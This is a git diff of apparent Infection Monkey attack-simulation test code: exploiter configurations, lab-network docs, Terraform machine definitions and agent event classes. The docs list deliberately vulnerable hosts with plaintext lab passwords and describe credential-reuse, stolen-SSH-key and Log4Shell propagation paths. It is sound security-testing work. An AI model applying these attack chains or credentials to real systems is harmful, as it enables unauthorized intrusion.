from .noop import noop_test_configuration
|
||||
from .utils import (
|
||||
add_exploiters,
|
||||
add_fingerprinters,
|
||||
add_http_ports,
|
||||
add_subnets,
|
||||
add_tcp_ports,
|
||||
replace_agent_configuration,
|
||||
|
@ -18,50 +16,30 @@ from .utils import (
|
|||
|
||||
# Tests:
|
||||
# SSH password and key brute-force, key stealing (10.2.2.11, 10.2.2.12)
|
||||
# Powershell credential reuse (logging in without credentials
|
||||
# to an identical user on another machine)(10.2.3.44, 10.2.3.46)
|
||||
def _add_exploiters(agent_configuration: AgentConfiguration) -> AgentConfiguration:
|
||||
brute_force = [
|
||||
PluginConfiguration(name="SSHExploiter", options={}),
|
||||
PluginConfiguration(name="PowerShellExploiter", options={}),
|
||||
]
|
||||
vulnerability = [
|
||||
PluginConfiguration(name="Log4ShellExploiter", options={}),
|
||||
]
|
||||
return add_exploiters(agent_configuration, brute_force=brute_force, vulnerability=vulnerability)
|
||||
return add_exploiters(agent_configuration, brute_force=brute_force, vulnerability=[])
|
||||
|
||||
|
||||
def _add_subnets(agent_configuration: AgentConfiguration) -> AgentConfiguration:
|
||||
subnets = [
|
||||
"10.2.2.11",
|
||||
"10.2.2.12",
|
||||
"10.2.3.44",
|
||||
"10.2.3.46",
|
||||
]
|
||||
return add_subnets(agent_configuration, subnets)
|
||||
|
||||
|
||||
def _add_fingerprinters(agent_configuration: AgentConfiguration) -> AgentConfiguration:
|
||||
fingerprinters = [PluginConfiguration(name="http", options={})]
|
||||
|
||||
return add_fingerprinters(agent_configuration, fingerprinters)
|
||||
|
||||
|
||||
def _add_tcp_ports(agent_configuration: AgentConfiguration) -> AgentConfiguration:
|
||||
ports = [22, 5985, 5986, 8080]
|
||||
ports = [22]
|
||||
return add_tcp_ports(agent_configuration, ports)
|
||||
|
||||
|
||||
def _add_http_ports(agent_configuration: AgentConfiguration) -> AgentConfiguration:
|
||||
return add_http_ports(agent_configuration, [8080])
|
||||
|
||||
|
||||
test_agent_configuration = set_maximum_depth(noop_test_configuration.agent_configuration, 2)
|
||||
test_agent_configuration = _add_exploiters(test_agent_configuration)
|
||||
test_agent_configuration = _add_subnets(test_agent_configuration)
|
||||
test_agent_configuration = _add_fingerprinters(test_agent_configuration)
|
||||
test_agent_configuration = _add_tcp_ports(test_agent_configuration)
|
||||
test_agent_configuration = _add_http_ports(test_agent_configuration)
|
||||
|
||||
CREDENTIALS = (
|
||||
Credentials(identity=Username(username="m0nk3y"), secret=None),
|
||||
|
|
|
@ -34,6 +34,7 @@ def _add_subnets(agent_configuration: AgentConfiguration) -> AgentConfiguration:
|
|||
subnets = [
|
||||
"10.2.2.9",
|
||||
"10.2.3.45",
|
||||
"10.2.3.46",
|
||||
"10.2.3.47",
|
||||
"10.2.3.48",
|
||||
"10.2.1.10",
|
||||
|
|
|
@ -22,7 +22,7 @@ _custom_pba_configuration = CustomPBAConfiguration(
|
|||
_tcp_scan_configuration = TCPScanConfiguration(timeout=3.0, ports=[])
|
||||
_icmp_scan_configuration = ICMPScanConfiguration(timeout=1.0)
|
||||
_scan_target_configuration = ScanTargetConfiguration(
|
||||
blocked_ips=[], inaccessible_subnets=[], scan_my_networks=False, subnets=[]
|
||||
blocked_ips=[], inaccessible_subnets=[], local_network_scan=False, subnets=[]
|
||||
)
|
||||
_network_scan_configuration = NetworkScanConfiguration(
|
||||
tcp=_tcp_scan_configuration,
|
||||
|
|
|
@ -0,0 +1,44 @@
|
|||
import dataclasses
|
||||
|
||||
from common.agent_configuration import AgentConfiguration, PluginConfiguration
|
||||
|
||||
from .noop import noop_test_configuration
|
||||
from .utils import (
|
||||
add_exploiters,
|
||||
add_subnets,
|
||||
add_tcp_ports,
|
||||
replace_agent_configuration,
|
||||
set_maximum_depth,
|
||||
)
|
||||
|
||||
|
||||
def _add_exploiters(agent_configuration: AgentConfiguration) -> AgentConfiguration:
|
||||
brute_force = [
|
||||
PluginConfiguration(name="PowerShellExploiter", options={}),
|
||||
]
|
||||
|
||||
return add_exploiters(agent_configuration, brute_force=brute_force, vulnerability=[])
|
||||
|
||||
|
||||
def _add_subnets(agent_configuration: AgentConfiguration) -> AgentConfiguration:
|
||||
subnets = [
|
||||
"10.2.3.46",
|
||||
]
|
||||
return add_subnets(agent_configuration, subnets)
|
||||
|
||||
|
||||
def _add_tcp_ports(agent_configuration: AgentConfiguration) -> AgentConfiguration:
|
||||
ports = [5985, 5986]
|
||||
return add_tcp_ports(agent_configuration, ports)
|
||||
|
||||
|
||||
test_agent_configuration = set_maximum_depth(noop_test_configuration.agent_configuration, 1)
|
||||
test_agent_configuration = _add_exploiters(test_agent_configuration)
|
||||
test_agent_configuration = _add_subnets(test_agent_configuration)
|
||||
test_agent_configuration = _add_tcp_ports(test_agent_configuration)
|
||||
|
||||
powershell_credentials_reuse_test_configuration = dataclasses.replace(noop_test_configuration)
|
||||
replace_agent_configuration(
|
||||
test_configuration=powershell_credentials_reuse_test_configuration,
|
||||
agent_configuration=test_agent_configuration,
|
||||
)
|
|
@ -28,9 +28,6 @@ This document describes Infection Monkey’s test network, how to deploy and use
|
|||
[Nr. 3-46 Powershell](#_Toc536021480)<br>
|
||||
[Nr. 3-47 Powershell](#_Toc536021481)<br>
|
||||
[Nr. 3-48 Powershell](#_Toc536021482)<br>
|
||||
[Nr. 14 Credentials Reuse](#_Toc536121480)<br>
|
||||
[Nr. 15 Credentials Reuse](#_Toc536121481)<br>
|
||||
[Nr. 16 Credentials Reuse](#_Toc536121482)<br>
|
||||
[Nr. 3-49 Log4j Solr](#_Toc536021483)<br>
|
||||
[Nr. 3-50 Log4j Solr](#_Toc536021484)<br>
|
||||
[Nr. 3-51 Log4j Tomcat](#_Toc536021485)<br>
|
||||
|
@ -759,38 +756,6 @@ This prevents ssh exploitation, but allows tunneling.</td>
|
|||
</tbody>
|
||||
</table>
|
||||
|
||||
<table>
|
||||
<thead>
|
||||
<tr class="header">
|
||||
<th><p><span id="_Toc536021479" class="anchor"></span>Nr. <strong>3-44 Powershell</strong></p>
|
||||
<p>(10.2.3.44)</p></th>
|
||||
<th>(Vulnerable)</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr class="odd">
|
||||
<td>OS:</td>
|
||||
<td><strong>Windows Server 2016 x64</strong></td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Software:</td>
|
||||
<td>WinRM service</td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
<td>Default server’s port: 5985, 5986</td>
|
||||
<td>-</td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Notes:</td>
|
||||
<td>User: m0nk3y, Password: nPj8rbc3<br>
|
||||
Accessible using the same m0nk3y user from powershell-3-46,
|
||||
in other words powershell exploiter can exploit
|
||||
this machine without credentials as long as the user running the agent has
|
||||
the same credentials on both machines</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<table>
|
||||
<thead>
|
||||
<tr class="header">
|
||||
|
@ -836,17 +801,17 @@ Accessibale through Island using m0nk3y-user.</td>
|
|||
<tr class="even">
|
||||
<td>Software:</td>
|
||||
<td>WinRM service</td>
|
||||
<td>Tomcat 8.0.36</td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
<td>Default server’s port:8080</td>
|
||||
<td>Default server’s port:</td>
|
||||
<td>-</td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Notes:</td>
|
||||
<td>User: m0nk3y, Password: nPj8rbc3<br>
|
||||
Exploited from island via log4shell(tomcat). Then uses cached powershell credentials to
|
||||
propagate to powershell-3-44</td>
|
||||
Accessible using the same m0nk3y user from island, in other words powershell exploiter can exploit
|
||||
this machine without credentials as long as the user running the agent is the same on both
|
||||
machines</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
@ -909,120 +874,6 @@ Accessiable only through <strong>3-45 Powershell</strong> using credentials reus
|
|||
</tbody>
|
||||
</table>
|
||||
|
||||
<table>
|
||||
<thead>
|
||||
<tr class="header">
|
||||
<th><p><span id="_Toc536121480" class="anchor"></span>Nr. <strong>14</strong> Credentials Reuse</p>
|
||||
<p>(10.2.3.14, 10.2.4.14)</p></th>
|
||||
<th>(Exploitable)</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr class="odd">
|
||||
<td>OS:</td>
|
||||
<td><strong>Ubuntu 16.04.05 x64</strong></td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Software:</td>
|
||||
<td>OpenSSL</td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
<td>Default service’s port:</td>
|
||||
<td>22</td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Credentials:</td>
|
||||
<td>m0nk3y:u26gbVQe</td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
<td>Server’s config:</td>
|
||||
<td>VPC network that can only access Credentials Reuse 15 and Island.</td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Notes:</td>
|
||||
<td>Accessible from the Island with password authentication</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<table>
|
||||
<thead>
|
||||
<tr class="header">
|
||||
<th><p><span id="_Toc536121481" class="anchor"></span>Nr. <strong>15</strong> Credentials Reuse</p>
|
||||
<p>(10.2.4.15, 10.2.5.15)</p></th>
|
||||
<th>(Exploitable)</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr class="odd">
|
||||
<td>OS:</td>
|
||||
<td><strong>Ubuntu 16.04.05 x64</strong></td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Software:</td>
|
||||
<td>OpenSSL</td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
<td>Default service’s port:</td>
|
||||
<td>22</td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Credentials:</td>
|
||||
<td>m0nk3y:5BuYHeVl</td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
<td>Server’s config:</td>
|
||||
<td>VPC network that can be only accessed by Credentials Reuse 14 and communicate to<br>
|
||||
Credentials Reuse 16.
|
||||
</td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Notes:</td>
|
||||
<td>Accessible from the Credentials Reuse 14 with password authentication</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<table>
|
||||
<thead>
|
||||
<tr class="header">
|
||||
<th><p><span id="_Toc536121482" class="anchor"></span>Nr. <strong>16</strong> Credentials Reuse</p>
|
||||
<p>(10.2.3.16, 10.2.5.16)</p></th>
|
||||
<th>(Exploitable)</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr class="odd">
|
||||
<td>OS:</td>
|
||||
<td><strong>Ubuntu 16.04.05 x64</strong></td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Software:</td>
|
||||
<td>OpenSSL</td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
<td>Default service’s port:</td>
|
||||
<td>22</td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Credentials:</td>
|
||||
<td>m0nk3y:lIZl6vTR</td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
<td>Server’s config:</td>
|
||||
<td>VPC network that can be only accessed by Credentials Reuse 15 and communicate to<br>
|
||||
the Island.
|
||||
</td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Notes:</td>
|
||||
<td>Accessible from the Credentials Reuse 15 with passwordless ssh key authentication.<br>
|
||||
We use the ssh key that was stolen from Credentials Reuse 16</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
|
||||
<table>
|
||||
<thead>
|
||||
<tr class="header">
|
||||
|
|
Binary file not shown.
Before Width: | Height: | Size: 13 KiB |
|
@ -1 +0,0 @@
|
|||
<mxfile host="app.diagrams.net" modified="2022-09-23T15:01:54.105Z" agent="5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" etag="spZrDzUM2aBFwquXRZY8" version="20.3.0" type="device"><diagram id="YCekmHjAy1LVhBsJn630" name="Page-1">7VjbjpswEP2aSO1DEGBIyOPmst1WqZRqpV6eVg444K3B1Di3/fraYC4OyXajJKKqKuWBGXuM58zxGZMemMS7Dwym0WcaINKzzWDXA9OebVuObffkzwz2hWc4cgpHyHCgJtWOR/yClNNU3jUOUKZN5JQSjlPd6dMkQT7XfJAxutWnrSjR35rCELUcjz4kbe83HPCo8HquWfsfEA6j8s2WqUZiWE5WjiyCAd02XGDWAxNGKS+e4t0EEQleiUsRd39itNoYQwl/S4CN5unz0yd7/JBEwfPw69MX8KuvVsn4vkwYBSJ/ZVLGIxrSBJJZ7R0zuk4CJFc1hVXPmVOaCqclnM+I870qJlxzKlwRj4kaFRtm++8qPjd+SMOw3dKe7pqj072yVpiQCSWU5VsFK89Hvi/8GWf0J2qMLD3XcWVEkZ7M6SRqJQR0zXz0ClSKyByyEPHXIHWq4opTgWiMRAoikCECOd7oG4GKnmE1T4XeMQb3jQkpxQnPGisvpENMUCfNBopm6pzZgwM2nDdfPBQ7OBE9PIh2R8ZIz6jAScVpCzdQqV05Wc8gbqkrG0jWCtI5DZ3HSMS+4zT2IX9/lNtzuBQSpfEREhwm4tkXnECCQeMNYhwLDbhTAzEOgoL6KMMvcJmvJ+mlqiIWd8c9d1oRTi6AdlqllUCp4FoWmlQ8fUTbdFKr98WxsSxPq8agsM4j3BGGaIv2HX0Bulpl6DalbVX2Y0ZgErTKqQvRNsIcPaYwP8Rb0Y30Ip8sTEsLTmI9OiC9U5F+W7eGqgFEjbbgmafR1+A7FyvQiX7vMM/l2zBLsxBwz1Vmrd/S2DeMBWJYpC6P2fTKAm05b1RouwuBBgNLYw+wLhFcYLYEt8DndoLrdntVMNzmZcH6m28KbyciuJCJF2lH2ScaQrugW8SyqAj2GQpE7hiSfEvrDP0bDbVg8kmVNw1rqHc+cFk/vX3HLAnXqGRaVbIP+o6o9IAITMZLJp5CnuN66LHEVcIAhjPovNGCwWGnNTvus2UODYRbKFUfeBKkAArwS8Qa6OgClNAEtdVqdu/d23IykUdrQTPMMT16nuYHE5aUi7vvkQPHpd62zyVdc4ITsZ3y41nuVuSRypTiXSi/6Y0NQjA24uxpi5Mg/6C+Ro0d57CjtWvsHCkxGBnerYo87KLFXbHxlFf2m9+ALoMZ/EGtnHPUyulcrSrV2eus7U6s2u3gv1hdtSFZtxQrYdb/ChZXhPq/VTD7DQ==</diagram></mxfile>
|
|
@ -59,26 +59,10 @@ data "google_compute_image" "powershell-3-46" {
|
|||
name = "powershell-3-46"
|
||||
project = local.monkeyzoo_project
|
||||
}
|
||||
data "google_compute_image" "powershell-3-44" {
|
||||
name = "powershell-3-44"
|
||||
project = local.monkeyzoo_project
|
||||
}
|
||||
data "google_compute_image" "powershell-3-45" {
|
||||
name = "powershell-3-45"
|
||||
project = local.monkeyzoo_project
|
||||
}
|
||||
data "google_compute_image" "credentials-reuse-14" {
|
||||
name = "credentials-reuse-14"
|
||||
project = local.monkeyzoo_project
|
||||
}
|
||||
data "google_compute_image" "credentials-reuse-15" {
|
||||
name = "credentials-reuse-15"
|
||||
project = local.monkeyzoo_project
|
||||
}
|
||||
data "google_compute_image" "credentials-reuse-16" {
|
||||
name = "credentials-reuse-16"
|
||||
project = local.monkeyzoo_project
|
||||
}
|
||||
data "google_compute_image" "log4j-solr-49" {
|
||||
name = "log4j-solr-49"
|
||||
project = local.monkeyzoo_project
|
||||
|
|
|
@ -44,18 +44,6 @@ resource "google_compute_subnetwork" "tunneling2-main" {
|
|||
network = google_compute_network.tunneling2.self_link
|
||||
}
|
||||
|
||||
resource "google_compute_subnetwork" "credential-reuse" {
|
||||
name = "${local.resource_prefix}credential-reuse"
|
||||
ip_cidr_range = "10.2.4.0/24"
|
||||
network = google_compute_network.credential-reuse.self_link
|
||||
}
|
||||
|
||||
resource "google_compute_subnetwork" "credential-reuse2" {
|
||||
name = "${local.resource_prefix}credential-reuse2"
|
||||
ip_cidr_range = "10.2.5.0/24"
|
||||
network = google_compute_network.credential-reuse2.self_link
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "hadoop-2" {
|
||||
name = "${local.resource_prefix}hadoop-2"
|
||||
source_instance_template = local.default_ubuntu
|
||||
|
@ -311,18 +299,18 @@ resource "google_compute_instance_from_template" "powershell-3-46" {
|
|||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "powershell-3-44" {
|
||||
name = "${local.resource_prefix}powershell-3-44"
|
||||
resource "google_compute_instance_from_template" "powershell-3-45" {
|
||||
name = "${local.resource_prefix}powershell-3-45"
|
||||
source_instance_template = local.default_windows
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = data.google_compute_image.powershell-3-44.self_link
|
||||
image = data.google_compute_image.powershell-3-45.self_link
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main-1"
|
||||
network_ip="10.2.3.44"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.3.45"
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -336,68 +324,11 @@ resource "google_compute_instance_from_template" "powershell-3-45" {
|
|||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main-1"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.3.45"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "credentials-reuse-14" {
|
||||
name = "${local.resource_prefix}credentials-reuse-14"
|
||||
source_instance_template = local.default_linux
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = data.google_compute_image.credentials-reuse-14.self_link
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main-1"
|
||||
network_ip="10.2.3.14"
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="${local.resource_prefix}credential-reuse"
|
||||
network_ip="10.2.4.14"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "credentials-reuse-15" {
|
||||
name = "${local.resource_prefix}credentials-reuse-15"
|
||||
source_instance_template = local.default_linux
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = data.google_compute_image.credentials-reuse-15.self_link
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="${local.resource_prefix}credential-reuse"
|
||||
network_ip="10.2.4.15"
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="${local.resource_prefix}credential-reuse2"
|
||||
network_ip="10.2.5.15"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "credentials-reuse-16" {
|
||||
name = "${local.resource_prefix}credentials-reuse-16"
|
||||
source_instance_template = local.default_linux
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = data.google_compute_image.credentials-reuse-16.self_link
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="${local.resource_prefix}credential-reuse2"
|
||||
network_ip="10.2.5.16"
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main-1"
|
||||
network_ip="10.2.3.16"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "log4j-solr-49" {
|
||||
name = "${local.resource_prefix}log4j-solr-49"
|
||||
source_instance_template = local.default_linux
|
||||
|
|
|
@ -1,6 +1,3 @@
|
|||
from ipaddress import IPv4Address
|
||||
from typing import Collection
|
||||
|
||||
import pytest
|
||||
|
||||
from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient
|
||||
|
@ -43,17 +40,18 @@ def island_client(island):
|
|||
@pytest.mark.usefixtures("island_client")
|
||||
# noinspection PyUnresolvedReferences
|
||||
class TestOSCompatibility(object):
|
||||
def test_os_compat(self, island_client: MonkeyIslandClient):
|
||||
def test_os_compat(self, island_client):
|
||||
print()
|
||||
ips_that_communicated = self._get_agent_ips(island_client)
|
||||
all_monkeys = island_client.get_all_monkeys_from_db()
|
||||
ips_that_communicated = []
|
||||
for monkey in all_monkeys:
|
||||
for ip in monkey["ip_addresses"]:
|
||||
if ip in machine_list:
|
||||
ips_that_communicated.append(ip)
|
||||
break
|
||||
for ip, os in machine_list.items():
|
||||
if IPv4Address(ip) not in ips_that_communicated:
|
||||
if ip not in ips_that_communicated:
|
||||
print("{} didn't communicate to island".format(os))
|
||||
|
||||
if len(ips_that_communicated) < len(machine_list):
|
||||
assert False
|
||||
|
||||
def _get_agent_ips(self, island_client: MonkeyIslandClient) -> Collection[IPv4Address]:
|
||||
agents = island_client.get_agents()
|
||||
machines = island_client.get_machines()
|
||||
return {i.ip for a in agents for i in machines[a.machine_id].network_interfaces}
|
||||
|
|
|
@ -7,4 +7,3 @@ from .operating_system import OperatingSystem
|
|||
from . import types
|
||||
from . import base_models
|
||||
from .agent_registration_data import AgentRegistrationData
|
||||
from .agent_signals import AgentSignals
|
||||
|
|
|
@ -12,7 +12,7 @@ from .agent_sub_configurations import (
|
|||
|
||||
|
||||
class AgentConfiguration(MutableInfectionMonkeyBaseModel):
|
||||
keep_tunnel_open_time: confloat(ge=0) # type: ignore[valid-type]
|
||||
keep_tunnel_open_time: confloat(ge=0)
|
||||
custom_pbas: CustomPBAConfiguration
|
||||
post_breach_actions: Tuple[PluginConfiguration, ...]
|
||||
credential_collectors: Tuple[PluginConfiguration, ...]
|
||||
|
|
|
@ -3,7 +3,6 @@ from typing import Dict, Tuple
|
|||
from pydantic import PositiveFloat, conint, validator
|
||||
|
||||
from common.base_models import MutableInfectionMonkeyBaseModel
|
||||
from common.types import NetworkPort
|
||||
|
||||
from .validators import (
|
||||
validate_ip,
|
||||
|
@ -80,8 +79,7 @@ class ScanTargetConfiguration(MutableInfectionMonkeyBaseModel):
|
|||
Example: ("1.1.1.1", "2.2.2.2")
|
||||
:param inaccessible_subnets: Subnet ranges that shouldn't be accessible for the agent
|
||||
Example: ("1.1.1.1", "2.2.2.2/24", "myserver")
|
||||
:param scan_my_networks: If true the Agent will scan networks it belongs to
|
||||
in addition to the provided subnet ranges
|
||||
:param local_network_scan: Whether or not the agent should scan the local network
|
||||
:param subnets: Subnet ranges to scan
|
||||
Example: ("192.168.1.1-192.168.2.255", "3.3.3.3", "2.2.2.2/24",
|
||||
"myHostname")
|
||||
|
@ -89,7 +87,7 @@ class ScanTargetConfiguration(MutableInfectionMonkeyBaseModel):
|
|||
|
||||
blocked_ips: Tuple[str, ...]
|
||||
inaccessible_subnets: Tuple[str, ...]
|
||||
scan_my_networks: bool
|
||||
local_network_scan: bool
|
||||
subnets: Tuple[str, ...]
|
||||
|
||||
@validator("blocked_ips", each_item=True)
|
||||
|
@ -129,7 +127,7 @@ class TCPScanConfiguration(MutableInfectionMonkeyBaseModel):
|
|||
"""
|
||||
|
||||
timeout: PositiveFloat
|
||||
ports: Tuple[NetworkPort, ...]
|
||||
ports: Tuple[conint(ge=0, le=65535), ...]
|
||||
|
||||
|
||||
class NetworkScanConfiguration(MutableInfectionMonkeyBaseModel):
|
||||
|
@ -157,7 +155,7 @@ class ExploitationOptionsConfiguration(MutableInfectionMonkeyBaseModel):
|
|||
:param http_ports: HTTP ports to exploit
|
||||
"""
|
||||
|
||||
http_ports: Tuple[NetworkPort, ...]
|
||||
http_ports: Tuple[conint(ge=0, le=65535), ...]
|
||||
|
||||
|
||||
class ExploitationConfiguration(MutableInfectionMonkeyBaseModel):
|
||||
|
@ -187,6 +185,6 @@ class PropagationConfiguration(MutableInfectionMonkeyBaseModel):
|
|||
:param exploitation: Configuration for exploitation
|
||||
"""
|
||||
|
||||
maximum_depth: conint(ge=0) # type: ignore[valid-type]
|
||||
maximum_depth: conint(ge=0)
|
||||
network_scan: NetworkScanConfiguration
|
||||
exploitation: ExploitationConfiguration
|
||||
|
|
|
@ -78,7 +78,7 @@ FINGERPRINTERS = (
|
|||
)
|
||||
|
||||
SCAN_TARGET_CONFIGURATION = ScanTargetConfiguration(
|
||||
blocked_ips=tuple(), inaccessible_subnets=tuple(), scan_my_networks=False, subnets=tuple()
|
||||
blocked_ips=tuple(), inaccessible_subnets=tuple(), local_network_scan=True, subnets=tuple()
|
||||
)
|
||||
NETWORK_SCAN_CONFIGURATION = NetworkScanConfiguration(
|
||||
tcp=TCP_SCAN_CONFIGURATION,
|
||||
|
|
|
@ -1,5 +1,5 @@
|
|||
from .consts import EVENT_TYPE_FIELD
|
||||
from .i_agent_event_serializer import IAgentEventSerializer
|
||||
from .i_agent_event_serializer import IAgentEventSerializer, JSONSerializable
|
||||
from .agent_event_serializer_registry import AgentEventSerializerRegistry
|
||||
from .pydantic_agent_event_serializer import PydanticAgentEventSerializer
|
||||
from .register import register_common_agent_event_serializers
|
||||
|
|
|
@ -1,7 +1,17 @@
|
|||
from abc import ABC, abstractmethod
|
||||
from typing import Dict, List, Union
|
||||
|
||||
from common.agent_events import AbstractAgentEvent
|
||||
from common.types import JSONSerializable
|
||||
|
||||
JSONSerializable = Union[ # type: ignore[misc]
|
||||
Dict[str, "JSONSerializable"], # type: ignore[misc]
|
||||
List["JSONSerializable"], # type: ignore[misc]
|
||||
int,
|
||||
str,
|
||||
float,
|
||||
bool,
|
||||
None,
|
||||
]
|
||||
|
||||
|
||||
class IAgentEventSerializer(ABC):
|
||||
|
|
|
@ -2,10 +2,9 @@ import logging
|
|||
from typing import Generic, Type, TypeVar
|
||||
|
||||
from common.agent_events import AbstractAgentEvent
|
||||
from common.types import JSONSerializable
|
||||
from common.utils.code_utils import del_key
|
||||
|
||||
from . import EVENT_TYPE_FIELD, IAgentEventSerializer
|
||||
from . import EVENT_TYPE_FIELD, IAgentEventSerializer, JSONSerializable
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
|
|
@ -1,10 +1,4 @@
|
|||
from common.agent_events import (
|
||||
CredentialsStolenEvent,
|
||||
ExploitationEvent,
|
||||
PingScanEvent,
|
||||
PropagationEvent,
|
||||
TCPScanEvent,
|
||||
)
|
||||
from common.agent_events import CredentialsStolenEvent
|
||||
|
||||
from . import AgentEventSerializerRegistry, PydanticAgentEventSerializer
|
||||
|
||||
|
@ -15,7 +9,3 @@ def register_common_agent_event_serializers(
|
|||
event_serializer_registry[CredentialsStolenEvent] = PydanticAgentEventSerializer(
|
||||
CredentialsStolenEvent
|
||||
)
|
||||
event_serializer_registry[PingScanEvent] = PydanticAgentEventSerializer(PingScanEvent)
|
||||
event_serializer_registry[TCPScanEvent] = PydanticAgentEventSerializer(TCPScanEvent)
|
||||
event_serializer_registry[PropagationEvent] = PydanticAgentEventSerializer(PropagationEvent)
|
||||
event_serializer_registry[ExploitationEvent] = PydanticAgentEventSerializer(ExploitationEvent)
|
||||
|
|
|
@ -1,6 +1,2 @@
|
|||
from .abstract_agent_event import AbstractAgentEvent
|
||||
from .credentials_stolen_events import CredentialsStolenEvent
|
||||
from .ping_scan_event import PingScanEvent
|
||||
from .tcp_scan_event import TCPScanEvent
|
||||
from .exploitation_event import ExploitationEvent
|
||||
from .propagation_event import PropagationEvent
|
||||
|
|
|
@ -25,6 +25,6 @@ class AbstractAgentEvent(InfectionMonkeyBaseModel, ABC):
|
|||
"""
|
||||
|
||||
source: AgentID
|
||||
target: Union[IPv4Address, MachineID, None] = Field(default=None)
|
||||
target: Union[MachineID, IPv4Address, None] = Field(default=None)
|
||||
timestamp: float = Field(default_factory=time.time)
|
||||
tags: FrozenSet[str] = Field(default_factory=frozenset)
|
||||
|
|
|
@ -1,22 +0,0 @@
|
|||
from ipaddress import IPv4Address
|
||||
|
||||
from pydantic import Field
|
||||
|
||||
from . import AbstractAgentEvent
|
||||
|
||||
|
||||
class ExploitationEvent(AbstractAgentEvent):
|
||||
"""
|
||||
An event that occurs when the Agent exploits a host
|
||||
|
||||
Attributes:
|
||||
:param target: IP address of the exploited system
|
||||
:param success: Status of the exploitation
|
||||
:param exploiter_name: Name of the exploiter that triggered the event
|
||||
:param error_message: Message if an error occurs during exploitation
|
||||
"""
|
||||
|
||||
target: IPv4Address
|
||||
success: bool
|
||||
exploiter_name: str
|
||||
error_message: str = Field(default="")
|
|
@ -1,21 +0,0 @@
|
|||
from ipaddress import IPv4Address
|
||||
from typing import Optional
|
||||
|
||||
from common import OperatingSystem
|
||||
|
||||
from . import AbstractAgentEvent
|
||||
|
||||
|
||||
class PingScanEvent(AbstractAgentEvent):
|
||||
"""
|
||||
An event that occurs when the agent performs a ping scan on its network
|
||||
|
||||
Attributes:
|
||||
:param target: IP address of the pinged system
|
||||
:param response_received: Indicates if target responded to the ping
|
||||
:param os: Operating system type determined by ICMP fingerprinting
|
||||
"""
|
||||
|
||||
target: IPv4Address
|
||||
response_received: bool
|
||||
os: Optional[OperatingSystem]
|
|
@ -1,22 +0,0 @@
|
|||
from ipaddress import IPv4Address
|
||||
|
||||
from pydantic import Field
|
||||
|
||||
from . import AbstractAgentEvent
|
||||
|
||||
|
||||
class PropagationEvent(AbstractAgentEvent):
|
||||
"""
|
||||
An event that occurs when the Agent propagates on a host
|
||||
|
||||
Attributes:
|
||||
:param target: IP address of the propagated system
|
||||
:param success: Status of the propagation
|
||||
:param exploiter_name: Name of the exploiter that propagated
|
||||
:param error_message: Message if an error occurs during propagation
|
||||
"""
|
||||
|
||||
target: IPv4Address
|
||||
success: bool
|
||||
exploiter_name: str
|
||||
error_message: str = Field(default="")
|
|
@ -1,19 +0,0 @@
|
|||
from ipaddress import IPv4Address
|
||||
from typing import Dict
|
||||
